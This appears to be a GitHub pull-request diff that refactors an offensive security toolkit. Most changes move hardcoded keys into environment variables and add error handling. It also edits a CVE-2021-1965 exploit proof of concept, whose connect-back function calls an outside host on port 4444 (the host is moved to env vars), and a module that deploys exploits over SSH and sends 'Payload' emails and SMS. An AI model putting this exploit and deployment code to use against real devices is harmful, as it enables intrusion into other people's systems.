Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
7 changes: 1 addition & 6 deletions app.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,11 +9,6 @@
from PIL import Image
from transformers import CLIPModel, CLIPProcessor

from core.integrations.email_handler import EmailHandler
from core.email_server.EmailServer import EmailServer
from core.end_user.AttackerClient import AttackerClient
from core.end_user.EndUserClient import EndUserClient

from modules.real_time_threat_intelligence import RealTimeThreatIntelligence
from modules.real_time_monitoring import RealTimeMonitoring
from modules.threat_intelligence import ThreatIntelligence
Expand Down Expand Up @@ -233,7 +228,7 @@ async def process_inputs(class_names: List[str], image_url: str):

# Initialize real-time threat intelligence and monitoring modules
try:
threat_intelligence = RealTimeThreatIntelligence(api_key="YOUR_API_KEY")
threat_intelligence = RealTimeThreatIntelligence(api_key=os.getenv("REAL_TIME_THREAT_INTELLIGENCE_API_KEY"))
monitoring = RealTimeMonitoring(threat_intelligence_module=threat_intelligence)
except Exception as e:
logging.error(f"Error initializing real-time threat intelligence and monitoring modules: {e}")
Expand Down
14 changes: 11 additions & 3 deletions backend/code_parser.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,5 @@
import ast
import logging
from database.models import DocumentAnalysis
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
Expand All @@ -7,11 +8,18 @@
engine = create_engine(DATABASE_URL)
SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)

# Configure logging
logging.basicConfig(level=logging.ERROR, format='%(asctime)s - %(levelname)s - %(message)s')

class CodeParser:
def __init__(self, code):
if not code.strip():
raise ValueError("Input code cannot be empty")
self.tree = ast.parse(code)
try:
if not code.strip():
raise ValueError("Input code cannot be empty")
self.tree = ast.parse(code)
except ValueError as e:
logging.error(f"ValueError: {e}")
raise

def find_functions(self):
return [node.name for node in ast.walk(self.tree) if isinstance(node, ast.FunctionDef)]
Expand Down
48 changes: 28 additions & 20 deletions backend/pipeline_manager.py
Original file line number Diff line number Diff line change
Expand Up @@ -13,29 +13,37 @@ def __init__(self):
pass

def autogpt_task(self, task):
openai.api_key = "YOUR_API_KEY"
response = openai.Completion.create(
engine="text-davinci-003",
prompt=task,
max_tokens=150
)
return response.choices[0].text.strip()
try:
openai.api_key = "YOUR_API_KEY"
response = openai.Completion.create(
engine="text-davinci-003",
prompt=task,
max_tokens=150
)
return response.choices[0].text.strip()
except Exception as e:
print(f"Error during autogpt_task: {e}")
return ""

def pinocchio_fact_check(self, text):
url = "https://factchecktools.googleapis.com/v1alpha1/claims:search"
params = {
"query": text,
"key": "YOUR_API_KEY"
}
response = requests.get(url, params=params)
if response.status_code == 200:
result = response.json()
if "claims" in result:
return result["claims"]
try:
url = "https://factchecktools.googleapis.com/v1alpha1/claims:search"
params = {
"query": text,
"key": "YOUR_API_KEY"
}
response = requests.get(url, params=params)
if response.status_code == 200:
result = response.json()
if "claims" in result:
return result["claims"]
else:
return "No claims found."
else:
return "No claims found."
else:
return f"Error: {response.status_code}"
return f"Error: {response.status_code}"
except Exception as e:
print(f"Error during pinocchio_fact_check: {e}")
return ""

def save_analysis_to_db(self, source, title, links, error):
session = SessionLocal()
Expand Down
6 changes: 4 additions & 2 deletions chatbot/app.py
Original file line number Diff line number Diff line change
Expand Up @@ -38,6 +38,8 @@

from kafka import KafkaProducer, KafkaConsumer

import os

app = Flask(__name__)

DATABASE_URL = "sqlite:///document_analysis.db"
Expand Down Expand Up @@ -99,7 +101,7 @@ def deploy_exploit_endpoint():

# Initialize real-time threat intelligence and monitoring modules
try:
threat_intelligence = RealTimeThreatIntelligence(api_key="YOUR_API_KEY")
threat_intelligence = RealTimeThreatIntelligence(api_key=os.getenv("REAL_TIME_THREAT_INTELLIGENCE_API_KEY"))
monitoring = RealTimeMonitoring(threat_intelligence_module=threat_intelligence)
except Exception as e:
print(f"Error initializing real-time threat intelligence and monitoring modules: {e}")
Expand All @@ -124,7 +126,7 @@ def deploy_exploit_endpoint():
advanced_decryption = AdvancedDecryption()
advanced_malware_analysis = AdvancedMalwareAnalysis()
advanced_social_engineering = AdvancedSocialEngineering()
alerts_notifications = AlertsNotifications(smtp_server="smtp.example.com", smtp_port=587, smtp_user="user@example.com", smtp_password="password")
alerts_notifications = AlertsNotifications(smtp_server=os.getenv("SMTP_SERVER"), smtp_port=int(os.getenv("SMTP_PORT")), smtp_user=os.getenv("SMTP_USER"), smtp_password=os.getenv("SMTP_PASSWORD"))
device_fingerprinting = DeviceFingerprinting()
exploit_payloads = ExploitPayloads()
fuzzing_engine = FuzzingEngine()
Expand Down
2 changes: 1 addition & 1 deletion core/email_server/EmailServer.py
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,7 @@
# Server configuration
SERVER_HOST = '0.0.0.0'
SERVER_PORT = 1234
saveMail_directory = "FlowSteering/ApplicationCode/EmailServer/EmailServerMailDatabase" # Change this to the directory where you want to save the emails inbox for each user
saveMail_directory = os.getenv("SAVE_MAIL_DIRECTORY", "FlowSteering/ApplicationCode/EmailServer/EmailServerMailDatabase") # Change this to the directory where you want to save the emails inbox for each user
message_queue = Queue()
default_image = 'FlowSteering/assets/PerturbatedImages/DjiPerturbClassForward.png'
# Server configuration
Expand Down
21 changes: 10 additions & 11 deletions core/end_user/EndUserClient.py
Original file line number Diff line number Diff line change
Expand Up @@ -15,18 +15,17 @@
from PIL import Image, ImageTk

# Define global variables
SERVER_EMAIL_HOST = None
SERVER_EMAIL_PORT = None
SERVER_LLAVA_HOST = None
SERVER_LLAVA_PORT = None
MYEMAIL = None
MAILSERVER = None
saveMail_directory = None
SERVER_EMAIL_HOST = os.getenv("SERVER_EMAIL_HOST")
SERVER_EMAIL_PORT = int(os.getenv("SERVER_EMAIL_PORT"))
SERVER_LLAVA_HOST = os.getenv("SERVER_LLAVA_HOST")
SERVER_LLAVA_PORT = int(os.getenv("SERVER_LLAVA_PORT"))
MYEMAIL = os.getenv("MYEMAIL")
MAILSERVER = os.getenv("MAILSERVER")
saveMail_directory = os.getenv("SAVE_MAIL_DIRECTORY")
MyEmails = None
CycleNewEmails = None
BaseEmails_directory = None
# Define the default image to be sent in case of network errors
default_image=''
CycleNewEmails = os.getenv("CYCLE_NEW_EMAILS", "False").lower() in ("true", "1", "t")
BaseEmails_directory = os.getenv("BASE_EMAILS_DIRECTORY")
default_image = os.getenv("DEFAULT_IMAGE", '')


def receive_complete_data(client_socket): # this function is used to receive the complete data from the client, adjust the parameters as needed based on your network conditions
Expand Down
35 changes: 34 additions & 1 deletion docs/troubleshooting.md
Original file line number Diff line number Diff line change
@@ -1,4 +1,3 @@

# Troubleshooting Guide

## Common Issues
Expand All @@ -21,3 +20,37 @@ Inspect pod logs for failures:
```bash
kubectl logs <pod_name>
```

### Network Issues
#### Check Network Connectivity
Ensure that your system has a stable internet connection. You can check the connectivity by pinging a reliable server:
```bash
ping google.com
```

#### Firewall and Proxy Settings
Ensure that your firewall or proxy settings are not blocking the necessary connections. You may need to adjust the settings or whitelist certain IP addresses and ports.

### Configuration Errors
#### Environment Variables
Ensure that all required environment variables are set correctly. You can list all environment variables using the following command:
```bash
printenv
```

#### Configuration Files
Check the configuration files for any errors or missing values. Ensure that all required fields are filled in correctly.

### Application Errors
#### Check Application Logs
Inspect the application logs for any error messages or warnings. The logs can provide valuable information about what went wrong and how to fix it.

#### Restart the Application
Sometimes, simply restarting the application can resolve the issue. Use the appropriate command to restart the application, depending on how it was deployed.

### Database Issues
#### Check Database Connection
Ensure that the application can connect to the database. You can test the connection using a database client or command-line tool.

#### Database Migrations
Ensure that all necessary database migrations have been applied. You can check the migration status and apply any pending migrations using the appropriate command for your database system.
11 changes: 7 additions & 4 deletions exploits/CVE-2021-1965-poc.c
Original file line number Diff line number Diff line change
Expand Up @@ -186,7 +186,7 @@ uint8_t convert_to_hex(size_t len){
return (uint8_t)strtol(hex,NULL,16);
}

void connect_back() {
void connect_back(const char* ip_address, int port) {
int sockfd;
struct sockaddr_in servaddr;

Expand All @@ -200,8 +200,8 @@ void connect_back() {
bzero(&servaddr, sizeof(servaddr));

servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr("zeroclickexploits.ddns.net");
servaddr.sin_port = htons(4444);
servaddr.sin_addr.s_addr = inet_addr(ip_address);
servaddr.sin_port = htons(port);

if (connect(sockfd, (struct sockaddr*)&servaddr, sizeof(servaddr)) != 0) {
printf("Connection with the server failed...\n");
Expand Down Expand Up @@ -369,7 +369,10 @@ int main(){

brodcast(buf,bufsize);

connect_back();
const char* ip_address = getenv("EXPLOIT_IP_ADDRESS");
int port = atoi(getenv("EXPLOIT_PORT"));

connect_back(ip_address, port);
auto_execute();

return EXIT_SUCCESS;
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -8,73 +8,82 @@
SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)

def deploy_exploit(ip, port, phone, email):
ssh = paramiko.SSHClient()
ssh.connect(ip, port, username="user", password="password")
# Save exploit deployment results to the database
session = SessionLocal()
try:
exploit_result = DocumentAnalysis(
source="exploit_deployment",
title="Exploit Deployment Results",
links=f"{ip}:{port}",
error=None
)
session.add(exploit_result)
session.commit()
ssh = paramiko.SSHClient()
ssh.connect(ip, port, username="user", password="password")
# Save exploit deployment results to the database
session = SessionLocal()
try:
exploit_result = DocumentAnalysis(
source="exploit_deployment",
title="Exploit Deployment Results",
links=f"{ip}:{port}",
error=None
)
session.add(exploit_result)
session.commit()
except Exception as e:
print(f"Error saving exploit deployment results to database: {e}")
finally:
session.close()
except Exception as e:
print(f"Error saving exploit deployment results to database: {e}")
finally:
session.close()
print(f"Error during exploit deployment: {e}")

def deploy_sms_message(ip, port, phone_number, message):
# Send SMS message using twilio
twilio_client = twilio.rest.Client(twilio_account_sid, twilio_auth_token)
message = twilio_client.messages.create(
body=message,
from_=twilio_phone_number,
to=phone_number
)
# Save SMS deployment results to the database
session = SessionLocal()
try:
sms_result = DocumentAnalysis(
source="sms_deployment",
title="SMS Deployment Results",
links=f"{ip}:{port}",
error=None
# Send SMS message using twilio
twilio_client = twilio.rest.Client(twilio_account_sid, twilio_auth_token)
message = twilio_client.messages.create(
body=message,
from_=twilio_phone_number,
to=phone_number
)
session.add(sms_result)
session.commit()
# Save SMS deployment results to the database
session = SessionLocal()
try:
sms_result = DocumentAnalysis(
source="sms_deployment",
title="SMS Deployment Results",
links=f"{ip}:{port}",
error=None
)
session.add(sms_result)
session.commit()
except Exception as e:
print(f"Error saving SMS deployment results to database: {e}")
finally:
session.close()
except Exception as e:
print(f"Error saving SMS deployment results to database: {e}")
finally:
session.close()
print(f"Error during SMS deployment: {e}")

def deploy_email_message(ip, port, email_address, message):
# Send email message using sendgrid
sg_client = SendGridAPIClient(sendgrid_api_key)
message = Mail(
from_email="your_email@example.com",
to_emails=email_address,
subject="Payload",
plain_text_content=message
)
response = sg_client.send(message)
# Save email deployment results to the database
session = SessionLocal()
try:
email_result = DocumentAnalysis(
source="email_deployment",
title="Email Deployment Results",
links=f"{ip}:{port}",
error=None
# Send email message using sendgrid
sg_client = SendGridAPIClient(sendgrid_api_key)
message = Mail(
from_email="your_email@example.com",
to_emails=email_address,
subject="Payload",
plain_text_content=message
)
session.add(email_result)
session.commit()
response = sg_client.send(message)
# Save email deployment results to the database
session = SessionLocal()
try:
email_result = DocumentAnalysis(
source="email_deployment",
title="Email Deployment Results",
links=f"{ip}:{port}",
error=None
)
session.add(email_result)
session.commit()
except Exception as e:
print(f"Error saving email deployment results to database: {e}")
finally:
session.close()
except Exception as e:
print(f"Error saving email deployment results to database: {e}")
finally:
session.close()
print(f"Error during email deployment: {e}")

def control_device_remote(ip, port, phone, email):
# Control device remotely using paramiko
Expand Down
Loading